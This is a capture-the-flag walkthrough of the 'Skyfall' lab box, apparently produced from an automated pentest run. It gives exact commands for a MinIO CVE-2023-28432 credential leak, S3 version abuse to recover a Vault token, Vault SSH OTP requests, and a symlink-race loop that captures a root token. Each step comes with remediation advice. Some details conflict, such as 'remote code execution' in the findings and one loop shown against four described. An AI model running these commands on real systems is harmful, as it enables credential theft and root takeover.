← all walkthroughs

Skyfall

Linux· Insane· Credential Access· Privilege Escalation· Web
owned
2026-07-24
time to own
10m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon on $TARGET (nginx/1.18.0 Ubuntu) revealed two vhosts, skyfall.htb and demo.skyfall.htb (a Flask app behind a login). Scraping the authenticated app's HTML for internal references surfaced a third, undocumented vhost: prd23-s3-backend.skyfall.htb. Direct GET requests to it returned 403 Forbidden, but its MinIO cluster bootstrap endpoint (POST /minio/bootstrap/v1/verify) responded 200 OK with the full MinIO environment block unauthenticated — CVE-2023-28432 (MinIO information-disclosure via the cluster bootstrap API), leaking MINIO_ROOT_USER=[REDACTED: MinIO access key] and MINIO_ROOT_PASSWORD=[REDACTED: MinIO secret key].

Those credentials authenticated the AWS CLI against the MinIO S3 endpoint, exposing per-user buckets (askyy, btanner, emoneypenny, gmallory, jbond, omansfield, ...). The askyy bucket had object versioning enabled; pulling prior versions of home_backup.tar.gz recovered an old home directory including .bash_history, which contained an embedded HashiCorp Vault token ([REDACTED: user Vault token]).

That token authenticated to an internal-only Vault instance (prd23-vault-internal.skyfall.htb, added via /etc/hosts). It was a limited (non-root) token, but it had access to the dev_otp_key_role SSH secrets engine role, which issued a one-time-password SSH credential for user askyy. This gave a password-auth SSH foothold on $TARGET as askyy (uid=1000), yielding user.txt = [REDACTED: user flag].

On the box, /etc/vault-unseal.yaml referenced a vault-unseal process that periodically ran as root and wrote diagnostic output — including a Vault master token — to a debug.log in the current directory before permissions were tightened. This is a race-condition / TOCTOU symlink attack: the root process opened debug.log in a directory writable by askyy. By continuously relinking debug.log to a world-writable file while repeatedly triggering the root job, the master Vault token ([REDACTED: root Vault token]) was captured mid-write. That master token had access to the admin_otp_key_role, issuing a root SSH OTP credential and giving a full root shell (uid=0), capturing root.txt = [REDACTED: root flag].

Attack path — how the box was taken

The attacker enumerated virtual-host names from the target's nginx frontend and discovered an undocumented MinIO S3 back-end that responded to an unauthenticated cluster-bootstrap API call (CVE-2023-28432), leaking the storage root credentials. Those credentials unlocked an S3 bucket containing a home-directory backup; pulling older object versions recovered a .bash_history file embedding a HashiCorp Vault token. The token could request one-time-password SSH credentials for user askyy via the Vault SSH secrets engine, giving an authenticated shell and the user flag. On the box, askyy held a NOPASSWD sudo rule for a vault-unseal binary that wrote a debug log — including a Vault master token — to a directory askyy controlled. A symlink race redirected that write to an attacker-readable file, capturing the master token. The master token had access to the admin SSH OTP role, issuing a one-time root SSH password and completing full system compromise.

1EnumerationVirtual-host and web-content enumeration
Discovered hidden virtual hosts including an undocumented MinIO S3 back-end
Port 80 hosted nginx serving multiple virtual hosts. Scraping the authenticated Flask demo application at demo.skyfall.htb for internal hostname references surfaced a third, unlisted host: prd23-s3-backend.skyfall.htb. A direct GET to that host returned 403, but the path indicated a MinIO object-storage cluster.
HTML source of demo.skyfall.htb contained internal references to prd23-s3-backend.skyfall.htb; curl returned HTTP 403 confirming the host existed.
Exact commands 3
Add all discovered vhosts to local DNS resolution.
echo "$TARGET skyfall.htb demo.skyfall.htb $MINIO_HOST" | sudo tee -a /etc/hosts
Scrape rendered HTML for internal hostname references.
curl -s "http://$TARGET/" -H 'Host: demo.skyfall.htb' | grep -Eio '[a-z0-9.-]*skyfall\.htb[a-z0-9./-]*' | sort -u
Confirm the MinIO back-end host exists (expect 403).
curl -si "http://$MINIO_HOST/"
2ExploitationCVE-2023-28432 — MinIO unauthenticated information disclosure
Leaked MinIO root credentials via unauthenticated bootstrap API (CVE-2023-28432)
MinIO versions prior to RELEASE.2023-03-13T19-46-17Z expose a cluster-bootstrap verification endpoint at POST /minio/bootstrap/v1/verify that requires no authentication. The endpoint returns the full MinIO environment block, including the root username and password, as part of the cluster-initialisation handshake. Sending a single POST request to the discovered back-end returned the storage root credentials in plaintext.
POST /minio/bootstrap/v1/verify returned MINIO_ROOT_USER=[REDACTED: MinIO access key] and MINIO_ROOT_PASSWORD=[REDACTED: MinIO secret key].
Exact commands 1
Unauthenticated call to the bootstrap endpoint; look for MINIO_ROOT_USER and MINIO_ROOT_PASSWORD in the JSON response.
curl -s -X POST http://$MINIO_HOST/minio/bootstrap/v1/verify | python3 -m json.tool
FixPatch MinIO to eliminate the unauthenticated bootstrap information-disclosure endpointCritical
WeaknessThe MinIO instance was running a version vulnerable to CVE-2023-28432, where the POST /minio/bootstrap/v1/verify endpoint requires no authentication and returns the full MinIO environment block including the storage root username and password to any caller on the network.
FixUpgrade MinIO to RELEASE.2023-03-13T19-46-17Z or later, which removes the unauthenticated bootstrap endpoint. If immediate upgrade is not possible, place the MinIO API port behind a network ACL or reverse-proxy authentication layer so it is not reachable from untrusted networks. Rotate the MINIO_ROOT_USER and MINIO_ROOT_PASSWORD credentials immediately after patching.
3Credential AccessS3 object versioning abuse — secrets recovery from snapshot history
Recovered a home-directory backup containing shell history with a Vault token
Using the leaked MinIO credentials with the AWS CLI pointed at the MinIO S3 endpoint, the attacker listed all buckets and found per-user buckets. The askyy bucket had S3 object versioning enabled. The current version of home_backup.tar.gz was innocuous, but listing all object versions and downloading an older version recovered a full home-directory backup. Extracting the archive revealed .bash_history, which contained a HashiCorp Vault token ([REDACTED: user Vault token]) that had been typed on the command line.
aws s3api list-object-versions showed prior versions of home_backup.tar.gz; extracted .bash_history contained the Vault token string.
Exact commands 5
Set MinIO root credentials as AWS CLI environment variables.
export AWS_ACCESS_KEY_ID="$MINIO_ACCESS_KEY" AWS_SECRET_ACCESS_KEY="$MINIO_SECRET_KEY"
List all S3 buckets accessible with the root credentials.
aws --endpoint-url "http://$MINIO_HOST" s3 ls
Enumerate all versions of every object in the askyy bucket; note the VersionId values for home_backup.tar.gz.
aws --endpoint-url "http://$MINIO_HOST" s3api list-object-versions --bucket askyy
Download the older, credential-containing version; replace <old-version-id> with the non-current VersionId from the previous command.
aws --endpoint-url "http://$MINIO_HOST" s3api get-object --bucket askyy --key home_backup.tar.gz --version-id <old-version-id> home_backup.tar.gz
Extract the backup and locate the embedded Vault token in shell history.
tar xzf home_backup.tar.gz && grep -iE 'hvs\.' home/askyy/.bash_history
FixScrub credentials from shell history and restrict access to home-directory backupsHigh
WeaknessA home-directory backup stored in S3 with object versioning enabled contained .bash_history, which preserved a HashiCorp Vault token typed on the command line in a prior session. Object versioning meant that even after the backup was refreshed, the credential-containing version remained downloadable by anyone with bucket access.
FixNever type long-lived tokens or passwords directly on the command line (use environment variables loaded from a secrets manager or a credential file with restricted permissions). Before creating home-directory backups, exclude .bash_history and credential files (--exclude patterns in tar). Enforce bucket policies that restrict read access to the specific service accounts that need it, and set lifecycle rules to expire old object versions after a short retention window (e.g., 7 days).
4Initial AccessHashiCorp Vault SSH OTP secrets engine — T1078 Valid Accounts
Used Vault SSH secrets engine to obtain a one-time SSH password for user askyy
The recovered Vault token authenticated to an internal-only Vault instance (prd23-vault-internal.skyfall.htb). Although the token did not have root-level Vault privileges, it was permitted to call the dev_otp_key_role endpoint in the Vault SSH secrets engine, which issued a single-use SSH password for the askyy account on the target. This gave an authenticated SSH session and the user flag.
Kill chain: sshpass with Vault-issued OTP authenticated as askyy (uid=1000); user.txt read from ~/user.txt.
Exact commands 3
Add the internal Vault host to local resolution.
echo "$TARGET $VAULT_HOST" | sudo tee -a /etc/hosts
Request a one-time SSH password for askyy from the Vault dev role.
SSH_OTP=$(curl -s -H "X-Vault-Token: $USER_VAULT_TOKEN" -X POST \
  -d "$(printf '{"ip":"%s","username":"askyy"}' "$TARGET")" \
  "http://$VAULT_HOST/v1/ssh/creds/dev_otp_key_role" \
  | grep -oP '"key":"\K[^"]+')
echo "ASKYY_OTP=$SSH_OTP"
Authenticate with the OTP; output confirms uid=1000(askyy) and prints <user.txt>.
sshpass -p "$SSH_OTP" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no "askyy@$TARGET" 'id; cat ~/user.txt'
FixRestrict Vault token permissions to the minimum required roleHigh
WeaknessThe Vault token recovered from .bash_history had permission to call the dev_otp_key_role SSH secrets engine role, which issued valid SSH credentials for a production account (askyy) on the target host. A single leaked token was sufficient to obtain an authenticated shell.
FixApply Vault policy least-privilege: issue separate tokens per environment (dev vs production) with policies scoped to only the secrets paths and roles each consumer genuinely needs. Set short TTLs on tokens and enable token renewal auditing. Rotate all Vault tokens that may have been exposed in shell history or backups immediately.
5Local EnumerationSudo misconfiguration enumeration — T1548.003
Identified a NOPASSWD sudo rule for a root-owned vault-unseal binary with debug logging
Running sudo -l as askyy revealed two NOPASSWD sudo rules: one allowing /root/vault/vault-unseal -c /etc/vault-unseal.yaml and a second matching the same command with optional verbose/debug/help flags (-v, -h, -d). The -d flag enabled a debug mode in which the vault-unseal binary wrote diagnostic output — including the Vault master token — to a file named debug.log in the current working directory before tightening file permissions.
sudo -l output: (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml -[vhd]+$ and NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
Exact commands 2
From askyy SSH session — list allowed sudo commands without a password.
sudo -l
Read the Vault unseal configuration to understand what secrets the process handles.
cat /etc/vault-unseal.yaml
6Privilege EscalationTOCTOU symlink race on root-created file — T1574 (Hijack Execution Flow)
Exploited a TOCTOU symlink race to redirect vault-unseal debug output and capture the Vault master token
The vault-unseal binary running as root wrote debug.log to the current working directory, which askyy owned. Between the moment the file was created and permissions were locked down, an attacker could replace debug.log with a symlink pointing to an attacker-controlled path. By running a tight loop that continuously re-created the symlink while repeatedly invoking vault-unseal with sudo, the root process followed the symlink and wrote its output — containing the master Vault token ([REDACTED: root Vault token]) — to a file readable by askyy.
Captured debug.log (via symlink) contained master Vault token [REDACTED: root Vault token]; kill-chain confirmed master token used for root SSH OTP.
Exact commands 4
Create a working directory owned by askyy.
mkdir -p /home/askyy/race && cd /home/askyy/race
Background loop: continuously re-create debug.log as a symlink to /home/askyy/leak.
while true; do ln -sfn /home/askyy/leak debug.log 2>/dev/null; done &
RACE_PID=$!
trap 'kill "$RACE_PID" 2>/dev/null || true; wait "$RACE_PID" 2>/dev/null || true' EXIT INT TERM
Repeatedly trigger vault-unseal in debug mode so root writes the master token while the symlink is in place.
for i in $(seq 1 20); do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d 2>/dev/null; sleep 0.2; done
kill "$RACE_PID" 2>/dev/null || true
wait "$RACE_PID" 2>/dev/null || true
trap - EXIT INT TERM
Read the redirected debug output and extract the captured master Vault token.
grep -iE 'hvs\.' /home/askyy/leak
FixPrevent the vault-unseal service from writing secrets to a user-controlled directoryCritical
WeaknessThe root-owned vault-unseal binary wrote a debug log file — containing the Vault master token — to the current working directory at the time of invocation. The sudo rule allowed askyy to invoke the binary, and askyy controlled the current directory, enabling a TOCTOU symlink race that redirected the root-created file write to an attacker-chosen path.
FixRemove the debug-flag variants from the NOPASSWD sudo rule (restrict to the bare invocation with no flags, or eliminate sudo access entirely if vault-unseal should run as a system service). If debug logging is operationally required, hard-code the log path to a root-owned directory (e.g., /var/log/vault-unseal/) with mode 0600, and use O_NOFOLLOW when opening the file to prevent symlink following. Never write credentials or tokens to log files; use Vault audit backends instead.
7Full ControlHashiCorp Vault SSH OTP secrets engine — privilege escalation to root (T1078)
Used the captured master Vault token to issue a root SSH OTP and gain a root shell
The master Vault token had access to the admin_otp_key_role endpoint in the SSH secrets engine, which could issue one-time-password SSH credentials for any username including root. Requesting a root OTP and passing it to SSH gave an interactive root shell (uid=0) on the target, from which the root flag was read.
Kill chain: curl to admin_otp_key_role with master token, then sshpass as root; id returned uid=0(root); root.txt read.
Exact commands 2
Use the master Vault token to request a one-time SSH password for root.
SSH_OTP=$(curl -s -H "X-Vault-Token: $ROOT_VAULT_TOKEN" -X POST \
  -d "$(printf '{"ip":"%s","username":"root"}' "$TARGET")" \
  "http://$VAULT_HOST/v1/ssh/creds/admin_otp_key_role" \
  | grep -oP '"key":"\K[^"]+')
echo "ROOT_OTP=$SSH_OTP"
Authenticate as root with the OTP; prints uid=0(root) and <root.txt>.
sshpass -p "$SSH_OTP" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no "root@$TARGET" 'id; cat /root/root.txt'
FixRevoke and scope the Vault master token; enforce role separation between dev and admin SSH rolesCritical
WeaknessThe master Vault token captured via the symlink race had permission to call admin_otp_key_role, which issued SSH one-time passwords for root. There was no separation between the low-privilege dev role (accessible to the leaked askyy token) and the administrative role (accessible to the master token), and the master token was stored in process debug output rather than a secure secret store.
FixStore the Vault master (root) token only in a hardware security module or dedicated secrets manager; never let it appear in log files or diagnostic output. Create a separate, tightly scoped Vault policy for the vault-unseal service that permits only the unseal operation and nothing else. Separate the dev_otp_key_role (non-privileged accounts) from admin_otp_key_role (root/admin) under distinct policies, and ensure the service account token cannot access the admin role under any circumstances.

Attack patterns used

The transferable techniques behind this compromise — expand each to learn how it works and where to read more.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via `sudo -l`) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. `sudo perl -e 'exec "/bin/sh"'`, `sudo vim -c ':!sh'`, `sudo find . -exec /bin/sh \;`.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using `NOEXEC`, and least-privilege review. Always run `sudo -l` first on a foothold.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the docker, minio, mysql, nginx, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Vault Unseal Symlink Race > RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp

Operational notes

What worked fast:
scraping the authenticated Flask app's rendered HTML for internal hostnames (step 12/13) found the hidden `prd23-s3-backend.skyfall.htb` vhost far faster than brute-forcing subdomains — the background `ffuf` job (job1) never actually contributed to the chain.
The MinIO bootstrap-verify endpoint is an easy miss:
it's unauthenticated by design (pre-cluster-init handshake) and returns full env secrets; a plain `GET`/`403` probe on the backend host would have looked like a dead end. Worth a standing checklist item: always try `POST /minio/bootstrap/v1/verify` on any discovered MinIO-fronting host, even behind a 403.
S3 object versioning as a secrets time machine:
the "current" object was clean, but old versions leaked a full home directory backup with credentials in `.bash_history`. Default enumeration (`s3 ls`) missed this — needed explicit `list-object-versions`.
Wasted time on the path-mangling/ACL-bypass angle
(steps 12–14, probing `/metrics`, `%2e` and encoding tricks against `demo.skyfall.htb`): this was a dead end per the pre-engagement research note but got re-tried live anyway, burning ~5 steps before pivoting to the vhost-scrape approach that actually worked.
Symlink race for the privesc was fiddly and non-deterministic
(steps 29–31): the first two race attempts (plain busy-loop `cat`, then a single symlink-swap loop) failed or got permission-denied; only the concurrent multi-process symlink flood (4 parallel loops racing the write) reliably won the TOCTOU window. A reusable, parameterized flood-symlink-and-capture script would make this technique easier to reproduce consistently than hand-rolling the loop each time.
Background job handling was reliable
The ffuf and OTP/root SSH background jobs ran as expected without stalling the workflow.